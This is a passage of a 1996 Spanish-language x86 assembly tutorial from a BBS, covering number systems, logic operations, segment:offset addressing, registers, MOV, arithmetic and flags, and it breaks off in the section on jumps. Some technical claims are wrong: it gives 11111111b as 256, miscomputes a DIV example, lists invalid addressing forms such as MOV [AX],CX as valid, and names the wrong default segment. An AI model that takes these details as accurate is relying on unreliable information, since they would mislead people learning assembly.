Winmu presenta,...
                                 ۰
     ۰                     ۰                     ۰
    ۰ ۰                   ۰  ۰      ۰            ۰
   ۰   ۰           ۰۰ ۰   ۰  ۰             ۰
   ۰      ۰ ۰  ۰۰  ۰      ۰               ۰   ۰
   ۰      ۰ ۰     ۰    ۰  ۰۰            ۰ ۰  ۰
   ۰      ۰ ۰     ۰        ۰ ۰            ۰ ۰ ۰
   ۰   ۰ ۰ ۰     ۰   ۰   ۰  ۰           ۰ ۰ ۰
    ۰ ۰ ۰ ۰     ۰   ۰  ۰  ۰               ۰ ۰ ۰  ۰
     ۰   ۰۰    ۰    ۰  ۰                 ۰   ۰
                              ۰

                           ۰     ۰  ۰  ۰
                          ۰   ۰  ۰ ۰۰
                         ۰۰  ۰  ۰ ۰
                        ۰  ۰  ۰     ۰
                        ۰  ۰   ۰   ۰۰۰
                        ۰     ۰  ۰  ۰
                        ۰  ۰ ۰  ۰ ۰  ۰
                        ۰  ۰  ۰  ۰  ۰


     ͸
     Ը                    Curso de ensamblador                 վ
      ;
                        Pablo Barrn Ballesteros 
                       ͼ

    Redactado el verano de 1996 en Madrid, Espaa, para la bbs Edison's
 Temple, y presentado en ese tiempo en las reas de correo de sta...
 pisando mi modestia, he recibido muchos agradecimientos y dicen que est
 muy majo, as que si tenis el disco duro lleno de tutoriales de Asm en
 ingls de los que no tenis ni papa,... se os acab la suerte amigos, a
 aprender !!

-------------------------------------------------------------------------------
  Ŀ
   INDICE 
  

        1.- Sistemas nmericos

        2.- Operaciones con bytes
            2.1.- AND
            2.2.- OR
            2.3.- XOR
            2.4.- NOT

        3.- El juego de registros

        4.-  Comenzamos !!!

        5.- Operacines
            5.1.- INC y DEC
            5.2.- ADD y SUB
            5.3.- NEG y NOT
            5.4.- MUL y DIV

        6.- Flags
            6.1.- Instrucciones de comparacin (CMP y TEST)

        7.- Las instrucciones de salto
            7.1.- Saltos incondicionales
            7.2.- Saltos condicionales
            7.3.- Bucles

        8.- La pila
            8.1.- La orden CALL

        9.- Interrupciones

        10.- Resto de rdenes
            10.1.- XCHG
            10.2.- LEA
            10.3.- LDS y LES
            10.4.- DELAYs
            10.5.- Instrucciones de cadena
            10.6.- Datos
            10.7.- Acceso a puertos I/O
            10.8.- Anulacin de interrupciones

        11.- Estructura COM

        12.- Estructura EXE

        13.- Apndice A: Juego de instrucciones

        14.- Apndice B: Numeracin negativa

        15.- Agradecimientos y dedicatorias

-------------------------------------------------------------------------------



                         Ŀ
                           Sistemas numricos  
                         

    Comencemos por los sistemas de numeracin que ms utilizaremos al
 programar.

    El bsico va a ser el sistema hexadecimal, aunque debemos de explicar
 antes el binario, el sistema de numeracin que utiliza el ordenador.

    Los nmeros que conocemos estn escritos en base 10. Esto significa que
 tenemos, desde el 0 hasta el 9, diez smbolos para representar cada cifra.
 Es decir, cada cifra ir de 0 a 9, y al superar el valor "9", cambiar a
 0 y sumar uno a su cifra de la izquierda:  9+1: 10  .
    El sistema binario utiliza tan slo dos smbolos, el "0" y el "1".
 Imaginemos que tenemos el nmero binario "0". Al sumarle una unidad,
 ste nmero binario cambiar a "1". Sin embargo, si volvemos a aadirle
 otra unidad, ste nmero en formato binario ser el "10" ( aumenta la
 cifra a la izquierda, que era 0, y la anterior toma el valor mnimo ).
 Sumemos ahora otra unidad: el aspecto del nmero ser "11" ( tres en
 decimal ). Y podramos seguir:

Binario: 0 ; 1 ; 10 ; 11 ; 100 ; 101 ; 110; 111 ; 1000 ; 1001 ; 1010,...
Decimal: 0   1    2    3    4     5     6    7      8      9     10

    Esto nos permite establecer un sistema bastante sencillo de conversin
  del binario al decimal;

    He aqu los valores siendo n el valor de la cifra:

    Cifra menos significativa:

           n*2^0 =    1 si n=1 o 0 si n=0

    Segunda cifra:

           n*2^1 =    2 si n=1 o 0 si n=0

    Tercera cifra:

           n*2^2 =    4 si n=1 o 0 si n=0

    Cuarta cifra:

           n*2^3 =    8 si n=1 o 0 si n=0

    Etc,...

    Y as continuaramos, aumentando el nmero al que se eleva 2. Traduzcamos
 entonces el nmero binario '10110111'

   2^7+ 0 +2^5+2^4+ 0 +2^2+2^1+2^0  = 128 + 0 + 32 + 16 + 4 + 2 + 1 = 183
    1   0   1   1   0   1   1   1

    De todos modos, sta transformacin la he puesto smplemente para que se
 comprenda con ms claridad cmo funcionan los nmeros binarios. Es mucho
 ms aconsejable el uso de una calculadora cientfica que permita realizar
 conversiones entre decimales, hexadecimales y binarios. Se hace su uso
 ya casi imprescindible al programar.

    La razn del uso de los nmeros binarios es sencilla. Es lo que entiende
 el ordenador, ya que interpreta diferencias de voltaje como activado ( 1 )
 o desactivado ( 0 ), aunque no detallar sto. Cada byte de informacin est
 compuesto por ocho dgitos binarios, y a cada cifra se le llama bit. El
 nmero utilizado en el ejemplo, el 10110111, sera un byte, y cada una de
 sus ocho cifras, un bit.

    Y a partir de ahora, cuando escriba un nmero binario, lo har con la
 notacin usual, con una "b" al final del nmero ( ej: 10010101b )

    Ahora me paso al hexadecimal, muy utilizado en ensamblador. Se trata de
 un sistema de numeracin en base diecisis. Por tanto, hay diecisis
 smbolos para cada cifra, y en vez de inventarse para ello nuevos smbolos,
 se decidi adoptar las primeras letras del abecedario. Por lo tanto,
 tendremos ahora:

  Hex   Dec

   1 --> 1
   2 --> 2
   3 --> 3
   4 --> 4
   5 --> 5
   6 --> 6
   7 --> 7
   8 --> 8
   9 --> 9
   A --> 10
   B --> 11
   C --> 12
   D --> 13
   E --> 14
   F --> 15
   10 --> 16
   11 --> 17
   Etc,...

    Como vemos, ste sistema nos planteas bastantes problemas para la
 conversin. Repito lo dicho, una calculadora cientfica nos ser casi
 imprescindible para sto.

     Por qu utilizar ste sistema ? Bien sencillo. Volvamos al byte, y
 traduzcamos su valor ms alto, "11111111". Resulta ser 256. Ahora pasemos
 sta cifra al sistema hexadecimal, y nos resultar "FF". Obtenemos un
 nmero ms comprensible que el binario ( difcil de recordar ), y ante todo
 mucho ms compacto, en el que dos cifras nos representarn cada byte.
    Podremos adems traducir fcilmente el binario a hexadecimal con sta
 tabla; cada cuatro cifras binarias pueden traducirse al hexadecimal:

            ͻ
                 Binario           Hexadecimal   
            ͼ
                   0000                  0
                   0001                  1
                   0010                  2
                   0011                  3
                   0100                  4
                   0101                  5
                   0110                  6
                   0111                  7
                   1000                  8
                   1001                  9
                   1010                  A
                   1011                  B
                   1100                  C
                   1101                  D
                   1110                  E
                   1111                  F


    Por ejemplo, el nmero binario:

    1111001110101110

    En hexadecimal sera:

    1111 0011 1010 1110

      F    3    A    E

    Para referirnos a un nmero hexadecimal sin especificarlo, usaremos la
 notacin que se suele usar al programar, con un 0 al principio ( necesario
 cuando hay letras ) y una h al final, por ejemplo, el nmero anterior sera
 0F3AEh




                        Ŀ
                           Operaciones con bytes   
                        

    Hay cuatro operaciones bsicas que se pueden realizar con un nmero
 binario, y coinciden con operaciones de la lgica matemtica, con lo que
 cualquiera que la haya estudiado tendr cierta ventaja para entenderla.

    Para explicarlas, llamar al valor 0 resultado "falso", y al valor 1
 "verdadero". Las operaciones son AND, OR, XOR y NOT


       AND:
       ---

    Es un 'y' lgico. Se realiza entre dos cifras binarias confrontando cada
 cifra con su correspondiente, y el resultado ser "1" si las dos son
 verdaderas ( si las dos valen "1" ), y "0" ( falso ) en el resto de los
 casos.

                                    AND

                  1.numero  2.numero  Resultado

                     1          1         1
                     1          0         0
                     0          1         0
                     0          0         0

    Vuelvo a la lgica para explicarlo ms claramente: Imaginemos la frase:
 "El hombre es un mamfero y camina erguido". El hecho de que el hombre sea
 un mamfero es cierto ( 1 ), y el de que camine erguido, otro ( 1 ). Por
 lo tanto, al unirlos mediante una conjuncin ( 'y' o 'AND' ), resulta que
 ya que se dan las dos, la oracin es verdadera.
    Pongamos un ejemplo ms complejos, queremos realizar un AND lgico entre
 dos bytes:

                11011000 AND 01101001

       Observemos lo que sucede:

                    11011000                                        216
           AND      01101001      En sistema decimal sera:  AND    105
                    --------      (aunque en sistema decimal        ---
                    01001000       es ms lioso)                     72

       Cuando coinciden dos valores de "verdad", el resultado es "verdad",
   si uno es falso, el resultado es "falso" ( no es verdad que "El hombre
   es un mamfero y respira debajo del agua" ), y si los dos son falsos, el
   resultado es falso ( no es cierto que "El hombre es un ave y respira
   debajo del agua" )


       OR
       --

    El "o" lgico. El resultado es "verdadero" cuando al menos uno de los
 factores es verdadero. O sea, es "1" cuando al menos uno de los dos factores
 es "1".
    Sera como la frase "Voy a buscar el peine o la caja de condones", donde
 que uno sea cierto no significa que el otro no lo sea; es cierta la frase,
 es verdadera mientras uno de los trminos sean verdaderos.
    Operemos con los nmeros "10100110" y "01101100":

                        10100110
                   OR   01101100
                        --------
                        11101110

    Como hemos visto, el valor 1 ( verdadero ) queda en las cifras de las
 que, confrontadas, al menos una es verdadera. Slo resulta 0 ( falso ) si
 los dos nmeros enfrentados son 0 ( falsos ).


      XOR
      ---

    "Or" exclusivo. Se trata de una orden parecida al OR, tan slo que
 la verdad de una excluye la de la otra. El resultado, por tanto, es "1"
 ( verdad ) cuando uno y slo uno de los dos nmeros es verdadero ( y el
 otro falso, claro ). Sera como la oracin "O vivo o estoy muerto", para
 que sea cierta se tiene que dar una de las dos, pero nunca las dos o
 ninguna.

                        10111001
                  XOR   01011101
                        --------
                        11100100

    La orden XOR va a ser bastante til en encriptacin, pero eso ya es otra
 historia,...


     NOT
     ---

    Esto se aplica sobre un slo nmero, y en trminos de lgica sera la
 negacin de una oracin, o sea, si el nmero al que se aplica es 1 el
 resultado es 0, y viceversa. En trminos de lgica matemtica aplicndolo
 a una oracin, sera por ejemplo " No es verdad que tenga ganas de estudiar
 y de no beber ", negando las otras dos que en caso contrario seran verdad:

                         NOT  11100110
                              --------
                              00011001



                      Ŀ
                        Bytes, bits y dems  
                      

    Tan slo, por si alguien no lo conoce, quiero detallar el modo de
 almacenamiento del ordenador, incluyendo lo ms temido por el iniciado en
 Ensamblador, y ms engorroso para el programador, Segments y Offsets.

    La unidad mnima de informacin es el bit. Su estado, como vimos
 anteriormente, puede ser 1 o 0.

    Un conjunto de ocho bits, forman un byte. De ellos, el de la derecha
 es el menos significativo ( su valor es menor ), y el de ms a la izquierda
 el ms significativo.

    Un Kbyte es un conjunto de 1024 ( que no 1000 ) bytes. Igualmente, un
 MegaByte sern 1024 kbytes, o 1024*1024=1048576 bytes.

    Otro trmino que utilizaremos a menudo, es palabra, o "word". Una
 "palabra", es un conjunto de dos bytes, y se utiliza por que a menudo se
 opera con ellas en lugar de bytes.

    Y ahora, despus de stas cosillas, vamos con lo interesante,...
 segments y offsets:

    Resulta que hubo un tiempo, cuando los dinosaurios dominaban la tierra,
 en el que a "alguien" se le ocurri que con 640K debera de bastarnos para
 hacerlo todo. Y bien, por aqu vienen los problemas ( y voy a intentar
 explicarlo lo ms mundanamente posible )

    El ancho de bus de direcciones, para localizar un punto en memoria, es
 de 20 bits. Por lo tanto, el nmero mximo de direcciones de memoria a las
 que podremos acceder ser 1 Mb. Pero como veremos, 20 bits no son ni 2 bytes
 ni 3, sino as como 2 y medio %-). El problema es ordenarlos para que el
 procesador conozca la direccin de memoria, y aqu llegan las cosillas,...

    Necesitaremos para conocer una posicin de memoria pues cuatro bytes
 combinados de una curiosa manera.

    Imaginemos los dos bytes inferiores. Su mayor valor puede ser 0FFFFh
 ( poner un cero delante es una convencin, para que lo entiendan los
 ensambladores, al igual que la h al final indicando que es un nmero
 hexadecimal ). Esto nos da acceso a 64Kb de memoria, que se considera un
 bloque. Tambin, a partir de ahora, llamaremos Offset a la direccin
 indicada por stos dos bytes.

    Ahora querremos ms memoria que 64 Kb, claro. Y para eso tenemos los
 otros dos bytes. Para formar la direccin completa, se toman los 16 bits
 del registro de segmento y se situan en los 16 bits superiores de la
 direccin de 20 bits, dejando los otros cuatro a cero. Vamos, como si
 aadisemos cuatro ceros a la derecha. Sumamos entonces a ste valor de
 20 bits el Offset, resultando la direccin real de memoria

    Voy a dar una explicacin ms grfica, porque creo que no me voy a
 enterar ni yo:

    Sea el valor de Segmento ( parezco un libro de matemticas, j*der XD )
 0Ah ( o sea, 10 decimal o 1010b, binario ). Y el del Offset digamos que
 va a valer ( en binario ) 01011111 00001010.

    La suma para obtener la direccin de memoria sera tal que as:

  0000 0000 0000 1010 0000    ( segmento multiplicado*16, con 4 ceros ms )
  +    0101 1111 0000 1010    ( el offset )
  ------------------------
  0000 0101 1111 1010 1010

    Y sta sera la direccin *real* de memoria ( 05FAAh o 24490 Dec ). Como
 podris observar, y como curiosidad final, distintos segments y offsets
 especifican direcciones de memoria distintas; por ejemplo, los pares
 0040h:0000 ( donde el primero es el Segment y el segundo el Offset, as
 lo tomaremos a partir de ahora ), son iguales que 0000:0400h, y los dos
 se referiran a la misma posicin de memoria fsica, la 0400h o 1024d

    Espero que haya quedado claro, aunque sea smplemente tener una ligera
 idea. Lo prximo sern los registros, y ( y ahora me pongo como los del
 Pcmana cuando hablan de Windoze95 ) podremos empezar en serio con nuestro
 lenguaje favorito X-)




                         Ŀ
                           El juego de registros  
                         

    Quiz alguno de vosotros se est preguntando a stas alturas:  Y eso
 del Segment y Offset, dnde se guarda, que indica al ordenador esos sitios
 en memoria, qu indica al ordenador en qu punto de la memoria est y qu
 tiene que ejecutar ? Pues bien, para sto y mucho ms sirven los registros.

    Se trata de una serie de "variables", que contienen informacin que
 puede ser cambiada.

    Comenzar, al contrario que todos los libros, por los de segmento y
 offset actual: CS e IP.

    El registro CS es una variable de un tamao de dos bytes. Contiene el
 Segmento actual en que se encuentra el programa. IP, es la variable, de
 dos bytes tambin, que contiene el Offset actual. sto significa, el
 ordenador va interpretando las secuencias de bytes, pero necesita "algo"
 que le indique donde tiene que leer. La combinacin CS:IP ( tal y como
 me refer antes en lo de Segments&Offsets ) contiene la direccin en la
 que el ordenador est interpretando informacin *en el momento*. O sea,
 indica la direccin de la prxima instruccin que se va a ejecutar.

    El registro DS y el registro ES tambin sirven para guardar direcciones
 de Segmentos, y tambin son variables de dos bytes, sern utilizados para
 por ejemplo mover datos en memoria, imprimir cadenas, bueno, un etctera
 largusimo. Digamos que son "punteros", que apuntan a cierta zona de
 memoria ( siempre combinado con otro que haga de Offset, claro ).

    El registro SS apunta a la pila, y el SP es el que contiene el offset
 de la pila, pero sto lo explicar ms adelante.

    Luego tenemos una serie de registros que utilizaremos ms comunmente:
 AX, BX, CX y DX.

    Todas ocupan dos bytes, y se pueden utilizar divididas en dos partes de
 longitud un byte, cambiando de nombre. AX se divide en AH y AL, BX en
 BH y BL, CX en CH y CL y DX en DH y DL. La 'H' se refiere a High en ingls,
 alto ( de mayor valor ), y la 'l' a  Low ( de menor valor ). Lo ilustro un
 poquillo:

            AX
     |-------------|
   11010110    10111000
      AH          AL

    Las funciones de stos cuatro registros son diferentes: AX se suele
 utilizar como propsito general, indica funcin a las interrupciones, etc,
 y es el ms flexible, ya que ser el nico que permita multiplicaciones
 y divisiones. Se denomina a veces acumulador.
    BX nos servir mucho como "handler", para abrir/cerrar archivos, etc, y
 como registro de propsito general al igual que AX, CX y DX
    CX se suele usar como contador.
    DX suele ser el puntero, sealando haciendo el papel de Offset lugares
 en memoria ( suele combinarse con DS en la forma DS:DX )

    Y nos quedan ya slo tres registros, BP, SI y DI, que son tambin
 punteros. SI y DI los utilizaremos a menudo para copiar bytes de un lado
 a otro, etc. Ni que decir que, como el resto de registros, contienen dos
 bytes. Igual sucede con BP, de otros dos bytes de tamao.




                         Ŀ
                             COMENZAMOS !!!   
                         

    Por fin vamos a empezar con rdenes en ensamblador. Y comenzaremos con
 la ms sencilla, pero curiosamente la ms utilizada en ste lenguaje:

    La orden MOV.
    

    La funcin de la orden MOV es, como su nombre da a entender, "mover" un
 valor. Pongamos un ejemplo:

    MOV AX,BX

    Esta rden en lenguaje ensamblador, copiar el contenido de BX en AX,
 conservando el valor de BX. He aqu algn ejemplo ms:

    MOV AX,DS
    MOV ES,AX
    MOV DX,AX
    MOV AL,DH

    Como se v, no se puede realizar MOV AL,BX, ya que en AL no cabe BX
 ( sencillo, no ;) )
    Tambin se puede introducir un valor dirctamente en un registro. Sera
 el caso de:

    MOV AX,0FEA2h
    MOV BL,255
    MOV DH,01110101b

    As de paso pongo ejemplos de como se utiliza la numeracin. El primero
 era un nmero hexadecimal, el segundo decimal ( que no va acompaado por
 nada para indicarlo ), y el tercero binario ( con la b al final ). A veces
 para representar un nmero decimal se pone una 'd' al final ( p.ej, 10d )

    Ms utilidades de MOV. Podemos transferir bytes que estn en memoria
 a un registro, o de un registro a memoria. Vayamos con los ejemplos:

    MOV AX,[BX]

    Y pongamos que en BX est 0EEEEh. En vez de transferir a AX el valor
 0EEEEh, le transferiremos el valor que haya en la posicin de memoria
 CS:BX, si CS por ejemplo vale 0134h y BX 03215h, transferiramos el byte
 que hay en 0134:03215h y el siguiente a AX.

    Se puede hacer tambin al revs;

    MOV [AX],CX

    Escribiramos en la direccin de memoria CS:AX el valor de CX.
    Y tambin podremos usar valores nmericos:

    MOV AX,[2325h]    ( lo que hay en CS:2325h )
    MOV AX,DS:[2325h] ( el valor en DS:2325h )
    MOV AX,DS:DX      ( el valor en DS:DX )
    MOV DX,CS:CX      ( a DX, valor en CS:CX )
    MOV BX,CS:1241h   ( a BX, valor en CS:1241h )

    Muchas veces, se utiliza Word Ptr o Byte Ptr, que aclaran el tamao a
 transferir:

    MOV AL,BYTE PTR [BX+SI-30h]
    MOV AX,WORD PTR [BX+DI]

    Como acabamos de ver, es posible hacer "sumas" de valores al buscar
 una direccin en memoria. Otros ejemplos seran:

    MOV AX,[BX+3]
    MOV [BP+SI],AH


    Y para acabar sta leccin, aqu tenis una tablilla de ejemplos sacada
 de un libro sobre MOVs que se pueden hacer:

  ķ
   Formatos de la instruccin MOV         Ejemplos                  
  Ķ
   MOV reg,reg                            MOV AX,BX                 
   MOV mem,reg                            MOV [BX],AL               
   MOV reg,mem                            MOV CH,[40FFh]            
   MOM mem,inmed                          MOV BYTE PTR [DI],0       
   MOV reg,inmed                          MOV BX,0FFFFh             
   MOV segreg,reg16                       MOV DS,AX                 
   MOV mem,segreg                         MOV [SI],ES               
   MOV segreg,mem                         MOV SS,[1234h]            
  Ľ
    reg: registro           mem:memoria         inmed:nmero inmediato
    segreg: registro de segmento            reg16: registro de 16 bits


    Y vista la orden MOV, seguimos adelante,... sencillo, no ? ;)



                            Ŀ
                              Operaciones  
                            

    Las instrucciones INC y DEC:

    Son las ms bsicas a la hora de hacer operaciones con registros: INC,
 incrementa el valor de un registro ( o bueno, de cualquier posicin en
 memoria ) en una unidad, y DEC lo decrementa. Veamos:

    INC AX

    Incrementa en uno el valor de AX

    INC WORD PTR [BX+4]

    Incrementa la palabra situada en CS:[BX+4] en uno.

    DEC AX

    Decrementa AX, le resta uno.

    DEC WORD PTR [BX+4]

    Decrementa la palabra situada en CS:[BX+4] en una unidad.

    Estas dos instrucciones, equivalentes a por ejemplo a "a++" en C, nos
 servirn bastante como contadores ( para bucles ).



    Las instrucciones ADD y SUB
    

    Se trata de dos operadores que contiene cualquier lenguaje de
 programacin: la suma y la resta. Tienen dos operandos, uno de destino y
 otro fuente. Para la suma, se suman los dos operandos y se almacena en
 el primero (destino), y para la resta, se resta al primero el segundo,
 almacenndose en destino, el primero. Aqu estn algunos formatos de stas
 instrucciones:

    ADD AX,BX               ; Sumara AX y BX y lo guardara en AX
    ADD [AX],BX             ; Suma el contenido de la direccin de AX a BX,
                            ;y se almacena en la direccin de AX
    ADD AX,[BX]             ; Se suman AX y el contenido de la direccin de
                            ;BX, y se almacena sta suma en AX
    ADD AX,3                ; Lo mismo pero utilizando un valor inmediato
                            ;en vez de la BX sealada anteriormente.
    SUB CL,DL               ; Resta de CL el valor de DL, y se almacena en CL
    SUB [CX],DX             ; Se resta al contenido de la direccin de CX
                            ;el valor de DX, y se almacena en la dir. de CX
    SUB CX,23h              ; Se resta de CX el valor 23h, y queda en CX el
                            ;resultado

    Os habris dado cuenta de una cosa,  y si el resultado excede lo que
 puede contener el byte, o la palabra ?. sto se puede saber mediante los
 flags, que trataremos ms adelante.

    Tambin os habris fijado en que separ con ; los comentarios. Bien,
 sta es la manera en ensamblador de poner comentarios, como sera en Basic
 la rden "REM", o en C la convencin "/* [...] */"


    NEG, NOT y operaciones lgicas
    

    Neg, pone el registro o el lugar al que apunta en memoria en negativo
 segn la aritmtica de complemento a dos tal que : NEG AX o NEG [AX]

    Not es la que, como vimos, "invierte" los valores de los bits. Y el
 resto de operaciones lgicas tambin las vimos anteriormente. Pondr ahora
 tan slo su sintaxis:

    NOT SI                      ; (o Not AX, etc,... o sea, con un registro)
    NOT Word ptr es:[ax]        ; Lo realiza sobre la palabra ( 2 bytes )
                                ;que se encuentra en es:[ax]
    AND AX,BX                   ; Efecta un AND entre AX y BX, almacenando
                                ;el resultado en AX ( siempre en el primer
                                ;trmino )
    AND [AX],BX                 ; Lo dicho, pero AX apunta a un lugar de
                                ;memoria
    AND AX,[BX]
    AND Byte ptr [15],3         ; Un AND en la direccin :0015 con lo que
                                ;haya ah y el valor "3"
    OR  AX,BX
    OR  [AX],BX
    OR  Byte ptr [15],3
    OR  DH,55h                  ;Tambin podra hacerse en el AND, se
                                ;confrontan DH y 55h en un OR.

               Y todo lo dicho para OR y AND vale para XOR, de tal manera
             que las operaciones son realizables entre:

             Registro y registro                  CX,DX
             Lugar de memoria y registro          [DX],BX
             Registro y lugar de memoria          AX,[SI]
             Lugar de memoria y nmero            word ptr ES:[AX],0D533h
             Registro y nmero                    AX,0CD32h


    Multiplicacin y divisin, MUL y DIV
    -

    Las pasar algo rpido, ya que para nuestros objetivos no tienen una
 necesariedad excesiva, al menos a corto plazo.

    Estas operaciones multiplican al acumulador por el operando indicado.
 Si el operando es de 8 bits ( 1 byte ), el acumulador es AL. Si el
 operando es de 16 bits, el acumulador es AX. El resultado se almacena
 en AX o en el par DX-AX respectivamente, si el operando es de 8 bits o
 16 bits.

    Tambin tendremos que diferenciar entre dos tipos de multiplicaciones
 y divisiones que entiende el procesador. Los que comienzan con una I
 operan con nmeros con signo ( sto es, si queremos usar nmeros negativos
 y tal ), y los que no, con nmeros sin signo.

    Visto sto, podremos decir que:

    MUL Byte Ptr [CX]

      Va a multiplicar el byte que hay en la direccin que marca CX por el
 contenido que hay en AL, y una vez hecho sto, va a almacenarlo en AX.

    MUL SI

      Multiplicara SI por el contenido de AX, almacenndose en el par AX-DX.
 La palabra superior ( de ms valor ), se devolvera en DX, y la inferior
 en AX.

    IMUL SI

      Esto y el ejemplo anterior sera lo mismo, slo que operando con
 nmeros con signo.


    Para la divisin, el dividendo ha de estar en AX ( y ser 16 bits por
 tanto ). El divisor se indica en el operando, por ejemplo en DIV BL, ste
 divisor estara en BL. Se dividira AX entre BL y el resultado quedara en
 AL, quedando el resto en AH. Vamos a ver algn ejemplo que os veo muy
 perdidos:

    En la divisin de un nmero de diecisis bits entre otro de 8 bits, el
 cociente y resto sern de 8 bits ( 1 byte ). El dividendo ha de estar en AX,
 y el divisor es el operando de la instruccin, que puede ser un registro o
 un sitio en la memoria ( y se necesita poner lo de byte ptr )
    O sea, sera tal que:
    DIV CL          o       IDIV    BYTE  PTR ES:[BP]

    El resultado se devuelve en AL, y el resto en AH. Si por ejemplo AX
 valiese 501d y cl valiese 2, a hacer el DIV CL, en AL quedara 255 y en AH
 quedara 1.

    Se puede dividir tambin un nmero de 32 bits ( 4 bytes ) entre otro de
 16 bits ( 2 bytes ), con lo que cociente y resto seran de 16 bits. El
 dividendo estara formado por el par DX/AX. Al hacer por ejemplo un:

    DIV SI

    Se dividira DX-AX entre SI, almacenndose el resultado en AX, y el resto
 en DX. Por ejemplo:

    Si en DX est el valor 003Fh y en AX 5555h, el par sera 3F5555h, con lo
 que al dividirlo por SI ( que pongamos que vale 0CCC4h ), se almacenara en
 AX el resultado y en DX el resto.

    Y ahora pasamos a una parte en la que hay algo de teora y tal,...



                               Ŀ
                                 FLAGS  
                               

    La explicacin de los "flags" viene a cuento de los saltos condicionales.
 Los que hayis visto un mnimo de otros lenguajes recordaris las sentencias
 FOR y NEXT ( en Basic ), o el IF/THEN/ELSE tambin en estilo Basic pero
 encontrable en otros lenguajes. Pues bien, los flags y las instrucciones
 condicionales va a ser lo que os encontris en ste captulo del curso de
 Ensamblador.

    Vamos con el registro de flags.

    A las flags, "banderas", las agrupa un slo registro de 16 bits, aunque
 ste no est utilizado por completo, ya que cada flag ocupa un slo bit.
 Pero bueno,  qu son los flags a todo sto ?

    Se trata de varios bits, que como siempre pueden valer uno o cero, y
 dependiendo de su valor indican varias cosas. El registro de flags es como
 sigue:

    Ŀ
             O  D  I  T  S  Z    A    P    C 
    

    O: Overflow     D: Direccin    I: Interrupciones rehabilitadas
    T: Trampa       S: Signo        Z: Cero
    A: Acarreo auxiliar     P: Paridad      C: Acarreo   : No utilizado


    Cada cuadrito representa un bit como es fcil adivinar. Tambin os daris
 cuenta de que cada bit que se utiliza tiene un nombre, y como veris tambin
 una utilidad. Aqu explico el significado de cada uno, o al menos de los
 ms importantes:


    EL FLAG DE ACARREO
    

    Hay veces en la operaciones en las que el nmero se desborda, o sea, no
 cabe en el registro o en la posicin de memoria. Imaginemos que tenemos en
 AX el nmero 0FFFFh y le sumamos 0CCCCh. Como es lgico, el resultado no nos
 cabr en AX. Al realizar sta suma, tenemos que tener en cuenta que el
 siguiente nmero a 0FFFFh es 0000h, con lo que podremos ver el resultado.
 Igual pasar si a 0000h le restamos por ejemplo 1 ( el resultado ser
 0FFFFh ). Pero de alguna manera nos tenemos que DAR CUENTA de que sto ha
 sucedido.

    Cuando se opera y hay acarreo en el ltimo bit sobre el que se ha
 operado, el flag de acarreo se pone a uno. O sea, cuando ese nmero se ha
 desbordado. Hay que recordar tambin que las instrucciones INC y DEC no
 afectan a ste flag. Veamos los efectos de stas operaciones:

    MOV AX,0FFFFh
    INC AX              ; AX vale ahora 0, el flag de acarreo tambin
    DEC AX              ; AX vale 0FFFFh, y el flag sigue inalterado
    ADD AX,1            ; AX vale 0, y el flag de acarreo est a 1
    MOV BX,0000h
    ADD BX,50h          ; El flag de acarreo se pone a 0, no ha habido
                        ;acarreo en sta operacin
    SUB AX,1            ; Ahora AX vale otra vez 0FFFFh, y el flag de acarreo
                        ;se pone de nuevo a uno

    En resumen, se activa cuando tras una operacin hay un paso del valor
 mximo al mnimo o viceversa

    Este flag nos va a ser tambin til al comprobar errores, etc. Por
 ejemplo, si buscamos el primer archivo del directorio y no hay ninguno,
 ste flag se activar, con lo que podremos usar los saltos condicionales,
 pero sto ya se explica ms adelante.


    EL FLAG DE SIGNO
    

    A veces interesa conocer cuando un nmero con signo es negativo o positivo.
 Evidentemente, sto slo tiene efecto cuando EFECTIVAMENTE estamos tratando
 con nmeros enteros con signo, en complemento a dos. Indica cuando tras una
 operacin aritmtica ( ADD, SUB, INC, DEC o NEG ) o lgica ( AND, OR o XOR )
 el resultado es un nmero en complemento a dos. En realidad es la copia del
 bit de mayor peso del byte, el que indica cuando el nmero es negativo.

    Por lo tanto, cuando vale 1 es que el nmero es negativo y si vale 0 es
 que es positivo


    EL FLAG DE DESBORDAMIENTO  ("Overflow")
    

    Se trata de un flag bastante parecido al de acarreo, pero que acta con
 nmeros en complemento a dos y se activa cuando se pasa del mayor nmero
 positivo ( 127 en un slo byte ) al menor negativo ( -128 en tamao de un
 byte ).

    Este flag, al contrario que el de acarreo, SI es afectado por las
 instrucciones de decremento e incremento.


    EL FLAG DE CERO
    

    De los ms sencillitos de comprender. Smplemente se activa cuando el
 resultado de una operacin aritmtica o lgica es cero. A los avispados se
 os estar ya ocurriendo la gran utilidad del flag,... tenemos por ejemplo
 dos registros, AX y CX, que queremos comparar para saber si son iguales.
 Para saberlo, no tendramos ms que restar uno del otro, y si el resultado
 es cero ( o sea, si el flag de cero se pone en uno ), podremos hacer un
 salto condicional ( sto lo explico en el prximo nmero.

    O sea, de un

    SUB CX,AX

    Si son iguales, el flag de cero se pondr a uno.


    EL FLAG DE PARIDAD
    

    Se utiliza especialmente en la transmisin de datos para la comprobacin
 de errores, ya que comprueba si el resultado de la ltima operacin
 aritmtica o lgica realizada tiene un nmero par o impar de bits puestos
 a uno. Se pondr a uno cuando haya un nmero par de bits, y a cero cuando
 sea impar.


    RESTO DE FLAGS
    

    No describir ms flags detalladamente, ya que su importancia es casi
 nula; por ejemplo est el flag de interrupcin que cuando est activado
 evita la posibilidad de interrupciones en secciones crticas de cdigo, o
 el de trampa, que cuando est activado provoca una INT 1h cada vez que se
 ejecuta otra instruccin, pero creo que su inters es escaso, al menos por
 el momento.


    INSTRUCCIONES DE COMPARACION
    

     No ibamos a terminar la leccin sin ensear nuevas instrucciones !
 Nos van a servir bastante para realizar las comparaciones, y son:

    CMP y TEST

    CMP compara dos registros, o un registro y una direccin de memoria,...
 tiene el mismo formato que el SUB ( por ejemplo CMP AX,BX ), tan slo que
 ninguno de los registros es alterado. Si por ejemplo son iguales, el flag
 de cero se pondr en uno. Es en realidad un SUB del que no se almacena el
 resultado.

    TEST, comprobar, se puede realizar con el mismo formato de AND, ya que
 es equivalente a ella, tan slo que no se guarda el resultado, aunque s se
 modifican los flags.

    Y en el prximo captulo veremos como se aplican stos flags, y como
 realizar los saltos comparativos.



                     Ŀ
                       LAS INSTRUCCIONES DE SALTO  
                     

    SALTOS INCONDICIONALES
    

    Empecemos por el salto sin condiciones, con el que podremos cambiar
 el control a cualquier punto del programa. Sera como el "Goto" del Basic,
 smplemente transferir el control a otro punto del programa. La orden es
 JMP ( de Jump, salto )

    Si recordis a stas alturas los registros CS:IP, se podr ver qu es
 lo que hace realmente la instruccin, y no es ms que incrementar o
 decrementar IP para llegar a la zona del programa a la que queremos
